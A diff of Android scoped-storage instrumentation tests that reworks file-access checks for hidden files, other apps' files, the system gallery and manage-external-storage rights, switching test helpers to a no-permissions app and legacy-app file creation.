-        final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
-        try {
-            assertThat(hiddenImageFile1.createNewFile()).isTrue();
-            assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
-            assertNotMediaTypeImage(hiddenImageFile2);
-
-            // We can also rename hidden file to non-hidden
-            assertCanRenameFile(hiddenImageFile2, imageFile);
-            assertIsMediaTypeImage(imageFile);
-
-            // We can rename non-hidden file to hidden
-            assertCanRenameFile(imageFile, hiddenImageFile1);
-            assertNotMediaTypeImage(hiddenImageFile1);
-        } finally {
-            hiddenImageFile1.delete();
-            hiddenImageFile2.delete();
-            imageFile.delete();
-        }
-    }
-
-    /**
-     * Test that files in hidden directory have MEDIA_TYPE=MEDIA_TYPE_NONE
-     */
-    @Test
-    public void testHiddenDirectory() throws Exception {
-        final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
-        final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
-        final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
-        final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
-        try {
-            if (!hiddenDir.exists()) {
-                assertThat(hiddenDir.mkdir()).isTrue();
-            }
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            // Renaming hiddenDir to nonHiddenDir makes the imageFile non-hidden and vice versa
-            assertCanRenameDirectory(
-                    hiddenDir, nonHiddenDir, new File[] {hiddenImageFile}, new File[] {imageFile});
-            assertIsMediaTypeImage(imageFile);
-
-            assertCanRenameDirectory(
-                    nonHiddenDir, hiddenDir, new File[] {imageFile}, new File[] {hiddenImageFile});
-            assertNotMediaTypeImage(hiddenImageFile);
-        } finally {
-            hiddenImageFile.delete();
-            imageFile.delete();
-            hiddenDir.delete();
-            nonHiddenDir.delete();
-        }
-    }
-
-    /**
-     * Test that files in directory with nomedia have MEDIA_TYPE=MEDIA_TYPE_NONE
-     */
-    @Test
-    public void testHiddenDirectory_nomedia() throws Exception {
-        final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
-        final File noMediaFile = new File(directoryNoMedia, ".nomedia");
-        final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
-        final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
-        try {
-            if (!directoryNoMedia.exists()) {
-                assertThat(directoryNoMedia.mkdir()).isTrue();
-            }
-            assertThat(noMediaFile.createNewFile()).isTrue();
-            assertThat(imageFile.createNewFile()).isTrue();
-
-            assertNotMediaTypeImage(imageFile);
-
-            // Deleting the .nomedia file makes the parent directory non hidden.
-            noMediaFile.delete();
-            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
-            assertIsMediaTypeImage(imageFile);
-
-            // Creating the .nomedia file makes the parent directory hidden again
-            assertThat(noMediaFile.createNewFile()).isTrue();
-            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
-            assertNotMediaTypeImage(imageFile);
-
-            // Renaming the .nomedia file to non hidden file makes the parent directory non hidden.
-            assertCanRenameFile(noMediaFile, videoFile);
-            assertIsMediaTypeImage(imageFile);
-        } finally {
-            noMediaFile.delete();
-            imageFile.delete();
-            videoFile.delete();
-            directoryNoMedia.delete();
-        }
-    }
-
-    /**
-     * Test that only file manager and app that created the hidden file can list it.
-     */
-    @Test
-    public void testListHiddenFile() throws Exception {
-        final File dcimDir = getDcimDir();
-        final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
-        try {
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            assertDirectoryContains(dcimDir, hiddenImageFile);
-
-            installApp(TEST_APP_A, true);
-            // TestApp with read permissions can't see the hidden image file created by other app
-            assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
-                    .doesNotContain(hiddenImageFileName);
-
-            final int testAppUid =
-                    getContext().getPackageManager().getPackageUid(TEST_APP_A.getPackageName(), 0);
-            // FileManager can see the hidden image file created by other app
-            try {
-                allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-                assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
-                        .contains(hiddenImageFileName);
-            } finally {
-                denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            }
-
-            // Gallery can not see the hidden image file created by other app
-            try {
-                allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-                assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
-                        .doesNotContain(hiddenImageFileName);
-            } finally {
-                denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            }
-        } finally {
-            hiddenImageFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testOpenPendingAndTrashed() throws Exception {
-        final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
-        final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        Uri pendingImgaeFileUri = null;
-        Uri trashedVideoFileUri = null;
-        Uri pendingPdfFileUri = null;
-        Uri trashedPdfFileUri = null;
-        try {
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            pendingImgaeFileUri = createPendingFile(pendingImageFile);
-            assertOpenPendingOrTrashed(pendingImgaeFileUri, TEST_APP_A, /*isImageOrVideo*/ true);
-
-            pendingPdfFileUri = createPendingFile(pendingPdfFile);
-            assertOpenPendingOrTrashed(pendingPdfFileUri, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-
-            trashedVideoFileUri = createTrashedFile(trashedVideoFile);
-            assertOpenPendingOrTrashed(trashedVideoFileUri, TEST_APP_A, /*isImageOrVideo*/ true);
-
-            trashedPdfFileUri = createTrashedFile(trashedPdfFile);
-            assertOpenPendingOrTrashed(trashedPdfFileUri, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-
-        } finally {
-            deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
-                    trashedPdfFile);
-            deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
-                    pendingPdfFileUri, trashedPdfFileUri);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testListPendingAndTrashed() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        Uri imageFileUri = null;
-        Uri pdfFileUri = null;
-        try {
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            imageFileUri = createPendingFile(imageFile);
-            // Check that only owner package, file manager and system gallery can list pending image
-            // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, TEST_APP_A,
-                    /*isImageOrVideo*/ true);
-
-            trashFile(imageFileUri);
-            // Check that only owner package, file manager and system gallery can list trashed image
-            // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, TEST_APP_A,
-                    /*isImageOrVideo*/ true);
-
-            pdfFileUri = createPendingFile(pdfFile);
-            // Check that only owner package, file manager can list pending non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-
-            trashFile(pdfFileUri);
-            // Check that only owner package, file manager can list trashed non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-        } finally {
-            deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
-            deleteFiles(imageFile, pdfFile);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed() throws Exception {
-        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        // Actual path of the file gets rewritten for pending and trashed files.
-        String pendingVideoFilePath = null;
-        String trashedImageFilePath = null;
-        String pendingPdfFilePath = null;
-        String trashedPdfFilePath = null;
-        try {
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            // App can delete its own pending and trashed file.
-            assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            // App can't delete other app's pending and trashed file.
-            assertCantDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath,
-                    pendingPdfFilePath, trashedPdfFilePath);
-
-            final int testAppUid =
-                    getContext().getPackageManager().getPackageUid(TEST_APP_A.getPackageName(), 0);
-            try {
-                allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-                // File Manager can delete any pending and trashed file
-                assertCanDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath,
-                        pendingPdfFilePath, trashedPdfFilePath);
-            } finally {
-                denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            }
-
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            try {
-                allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-                // System Gallery can delete any pending and trashed image or video file.
-                assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
-                assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
-                assertCanDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath);
-
-                // System Gallery can't delete other app's pending and trashed pdf file.
-                assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
-                assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
-                assertCantDeletePathsAs(TEST_APP_A, pendingPdfFilePath, trashedPdfFilePath);
-            } finally {
-                denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            }
-        } finally {
-            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
+                () -> {
+                    otherAppExternalDataFile.createNewFile();
+                });
     }
 
     @Test
@@ -2044,12 +225,10 @@
         final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-
             // Create all of the files as another app
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppMusic.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppMusic.getPath())).isTrue();
 
             assertThat(otherAppPdf.delete()).isTrue();
             assertThat(otherAppPdf.exists()).isFalse();
@@ -2060,10 +239,9 @@
             assertThat(otherAppMusic.delete()).isTrue();
             assertThat(otherAppMusic.exists()).isFalse();
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppMusic.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppMusic.getAbsolutePath());
         }
     }
 
@@ -2080,10 +258,8 @@
         final File doesntExistPdf = new File(downloadDir, "nada-" + NONMEDIA_FILE_NAME);
 
         try {
-            installApp(TEST_APP_A);
-
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
 
             // We can read our image and pdf files.
             assertThat(myAppPdf.createNewFile()).isTrue();
@@ -2096,18 +272,15 @@
             assertAccess(doesntExistPdf, false, false, false);
 
             // We can check only exists for another app's files on root.
-            // Use content provider to create root file because TEST_APP_A is in
-            // scoped storage.
-            createFileUsingTradefedContentProvider(shellPdfAtRoot);
+            createFileAsLegacyApp(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+            deleteAsLegacyApp(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
-            uninstallApp(TEST_APP_A);
         }
     }
 
@@ -2117,33 +290,31 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
         File topLevelDir = new File(getExternalStorageDir(), "Test");
         try {
-            installApp(TEST_APP_A);
-
-            // Let app A create a file in its data dir
+            // Let app B create a file in its data dir
             final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
             final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
             final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
-            assertThat(createFileAs(TEST_APP_A, otherAppExternalDataFile.getAbsolutePath()))
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath()))
                     .isTrue();
 
-            // We cannot read or write the file, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the file, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataFile.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataFile);
 
-            // We cannot read or write the dir, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the dir, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataDir.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataDir);
 
-            // We cannot read or write the sub dir, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the sub dir, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataSubDir);
 
-            // We can read and write our own app dir, but app A cannot.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We can read and write our own app dir, but app B cannot.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     getExternalFilesDir().getAbsolutePath())).isFalse();
             assertCanAccessMyAppFile(getExternalFilesDir());
 
@@ -2152,13 +323,25 @@
             assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
             assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
 
-            createDirUsingTradefedContentProvider(topLevelDir);
+            createDirectoryAsLegacyApp(topLevelDir);
             assertDirectoryAccess(topLevelDir, true, false);
 
-            assertCannotReadOrWrite(new File("/storage/emulated"));
+            // We can see "/storage/emulated" exists, but not read/write to it, since it's
+            // outside the scope of external storage.
+            assertAccess(new File("/storage/emulated"), true, false, false);
+
+            // Verify we can enter "/storage/emulated/<userId>" and read
+            int userId = getContext().getUserId();
+            assertAccess(new File("/storage/emulated/" + userId), true, true, false);
+
+            // Verify we can't get another userId
+            int otherUserId = userId + 1;
+            assertAccess(new File("/storage/emulated/" + otherUserId), false, false, false);
+
+            // Or an obviously invalid userId (b/172629984)
+            assertAccess(new File("/storage/emulated/100000000000"), false, false, false);
         } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-            deleteDirUsingTradefedContentProvider(topLevelDir);
+            deleteAsLegacyApp(topLevelDir);
         }
     }
 
@@ -2172,10 +355,8 @@
         final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-
             // Have another app create a PDF
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
             assertThat(otherAppPdf.exists()).isTrue();
 
 
@@ -2204,22 +385,17 @@
             pdfInObviouslyWrongPlace.delete();
             topLevelPdf.delete();
             musicFile.delete();
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
         }
     }
 
     @Test
-    public void testCanCreateDefaultDirectory() throws Exception {
-        final File podcastsDir = getPodcastsDir();
-        try {
-            if (podcastsDir.exists()) {
-                deleteDirUsingTradefedContentProvider(podcastsDir);
-            }
-            assertThat(podcastsDir.mkdir()).isTrue();
-        } finally {
-            createDirUsingTradefedContentProvider(podcastsDir);
-        }
+    public void testManageExternalStorageCannotRenameAndroid() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        final File androidDir = getAndroidDir();
+        final File fooDir = new File(getAndroidDir().getAbsolutePath() + "foo");
+        assertThat(androidDir.renameTo(fooDir)).isFalse();
     }
 
     @Test
@@ -2232,9 +408,8 @@
         final File otherTopLevelFile = new File(getExternalStorageDir(),
                 "other" + NONMEDIA_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            createFileUsingTradefedContentProvider(otherTopLevelFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+            createFileAsLegacyApp(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
@@ -2247,10 +422,9 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
+            deleteAsLegacyApp(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
         }
     }
 
@@ -2263,228 +437,112 @@
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
-            installApp(TEST_APP_A);
             // Apps can't query other app's pending file, hence create file and publish it.
             assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
         }
     }
 
-    @Test
-    public void testQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
-        try {
-            installApp(TEST_APP_A);
-            // Apps can't query other app's pending file, hence create file and publish it.
-            assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-
-            // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
-            // it can't query for another app's contents.
-            assertCantQueryFile(otherAppImg);
-            assertCantQueryFile(otherAppMusic);
-            assertCantQueryFile(otherAppPdf);
-            assertCantQueryFile(otherHiddenFile);
-        } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
-        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
-        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
-        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
-        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
-        try {
-            installApp(TEST_APP_A);
-            // Apps can't query other app's pending file, hence create file and publish it.
-            assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-
-            // System gallery apps have access to video and image files
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            assertCanQueryAndOpenFile(otherAppImg, "rw");
-            // System gallery doesn't have access to hidden image files of other app
-            assertCantQueryFile(otherHiddenFile);
-            // But no access to PDFs or music files
-            assertCantQueryFile(otherAppMusic);
-            assertCantQueryFile(otherAppPdf);
-        } finally {
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that System Gallery app can rename any directory under the default directories
-     * designated for images and videos, even if they contain other apps' contents that
-     * System Gallery doesn't have read access to.
+    /*
+     * b/174211425: Test that for apps bypassing database operations we mark the nomedia directory
+     * as dirty for create/rename/delete.
      */
     @Test
-    public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
-        final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
-        final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
-        final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
-        final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
-        final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
-        final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
-        final File otherAppImageFile2 = new File(dirInPictures, "other_" + IMAGE_FILE_NAME);
-        final File otherAppVideoFile2 = new File(dirInPictures, "other_" + VIDEO_FILE_NAME);
-        final File otherAppPdfFile2 = new File(dirInPictures, "other_" + NONMEDIA_FILE_NAME);
+    public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File nomediaFile = new File(nomediaDir, ".nomedia");
+        final File mediaFile = new File(nomediaDir, IMAGE_FILE_NAME);
+        final File renamedMediaFile = new File(nomediaDir, "Renamed_" + IMAGE_FILE_NAME);
         try {
-            assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
+            if (!nomediaDir.exists()) {
+                assertTrue(nomediaDir.mkdirs());
+            }
+            assertThat(nomediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
 
-            executeShellCommand("touch " + otherAppPdfFile1);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            assertThat(mediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(mediaFile)).isNotEqualTo(-1);
 
-            installAppWithStoragePermissions(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+            assertThat(mediaFile.renameTo(renamedMediaFile)).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isNotEqualTo(-1);
 
-            assertCreateFilesAs(TEST_APP_A, otherAppImageFile1, otherAppVideoFile1);
-
-            // System gallery privileges don't go beyond DCIM, Movies and Pictures boundaries.
-            assertCantRenameDirectory(dirInDcim, dirInPodcasts, /*oldFilesList*/ null);
-
-            // Rename should succeed, but System Gallery still can't access that PDF file!
-            assertCanRenameDirectory(dirInDcim, dirInPictures,
-                    new File[] {otherAppImageFile1, otherAppVideoFile1},
-                    new File[] {otherAppImageFile2, otherAppVideoFile2});
-            assertThat(getFileRowIdFromDatabase(otherAppPdfFile1)).isEqualTo(-1);
-            assertThat(getFileRowIdFromDatabase(otherAppPdfFile2)).isEqualTo(-1);
+            assertThat(renamedMediaFile.delete()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isEqualTo(-1);
         } finally {
-            executeShellCommand("rm " + otherAppPdfFile1);
-            executeShellCommand("rm " + otherAppPdfFile2);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
-            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
-            otherAppImageFile1.delete();
-            otherAppImageFile2.delete();
-            otherAppVideoFile1.delete();
-            otherAppVideoFile2.delete();
-            otherAppPdfFile1.delete();
-            otherAppPdfFile2.delete();
-            dirInDcim.delete();
-            dirInPictures.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Test that row ID corresponding to deleted path is restored on subsequent create.
-     */
-    @Test
-    public void testCreateCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final ContentResolver cr = getContentResolver();
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-            final long oldRowId = getFileRowIdFromDatabase(imageFile);
-            assertThat(oldRowId).isNotEqualTo(-1);
-            final Uri uriOfOldFile = MediaStore.scanFile(cr, imageFile);
-            assertThat(uriOfOldFile).isNotNull();
-
-            assertThat(imageFile.delete()).isTrue();
-            // We should restore old row Id corresponding to deleted imageFile.
-            assertThat(imageFile.createNewFile()).isTrue();
-            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(oldRowId);
-            assertThat(cr.openFileDescriptor(uriOfOldFile, "rw")).isNotNull();
-
-            assertThat(imageFile.delete()).isTrue();
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, imageFile.getAbsolutePath())).isTrue();
-
-            final Uri uriOfNewFile = MediaStore.scanFile(getContentResolver(), imageFile);
-            assertThat(uriOfNewFile).isNotNull();
-            // We shouldn't restore deleted row Id if delete & create are called from different apps
-            assertThat(Integer.getInteger(uriOfNewFile.getLastPathSegment())).isNotEqualTo(oldRowId);
-        } finally {
-            imageFile.delete();
-            deleteFileAsNoThrow(TEST_APP_A, imageFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that row ID corresponding to deleted path is restored on subsequent rename.
-     */
-    @Test
-    public void testRenameCanRestoreDeletedRowId() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
-        final ContentResolver cr = getContentResolver();
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
